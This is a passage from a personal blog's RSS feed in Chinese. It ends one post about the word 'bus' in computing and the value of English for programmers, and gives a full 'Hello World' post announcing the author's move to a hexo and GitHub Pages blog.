&lt;p&gt;略有不解？&lt;/p&gt;
&lt;p&gt;那好，总线的英语是&lt;strong&gt;Bus&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;既然是 Bus，那他就是计算机部件之间交换数据的方式啊。这不是简单粗暴吗？&lt;/p&gt;
&lt;p&gt;所以学习计算机与编程之类的，最好还是要把英语功底加深一下&lt;/p&gt;
&lt;p&gt;而如何加深呢？是不是天天百词斩启动，生词背上几十个？（&lt;/p&gt;
&lt;p&gt;其实不然，英语是我们生活中的应用工具，编程也如此，不使用它们，它们便会从你的记忆中褪去&lt;/p&gt;
&lt;p&gt;附上瞎编的一句话吧&lt;/p&gt;
&lt;p&gt;工具 不能纯粹学习 更要学以致用&lt;/p&gt;
</content:encoded><category>Java</category></item><item><title>Hello World</title><link>https://situ2001.com/blog/hello/</link><guid isPermaLink="true">https://situ2001.com/blog/hello/</guid><description>给博客换了一个静态页面生成器</description><pubDate>Sat, 12 Sep 2020 08:45:32 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;该内容使用MarkdownIt渲染，如需查看图片及获取更好的排版，请阅读原文
This content is rendered using MarkdownIt, for better layout and images, please read the original post&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;文章们终于能有一个家了&lt;/p&gt;
&lt;p&gt;快开学了，而我也有了一个比较正式的博客了
（之前是高中弄得用的 WordPress，太臃肿了&lt;s&gt;并且里面大多是一些没有什么技术或生活营养的输出&lt;/s&gt;）
前博客的备份被我备份放在了备份盘的备份文件夹里作为备份躺着吃灰 &lt;s&gt;套娃警告&lt;/s&gt;&lt;/p&gt;
&lt;p&gt;本博客用的 hexo + github pages，图床用的阿里 OSS&lt;/p&gt;
&lt;p&gt;希望这个博客能伴我很长很长的一段时间&lt;/p&gt;
</content:encoded><category>随笔</category></item></channel></rss>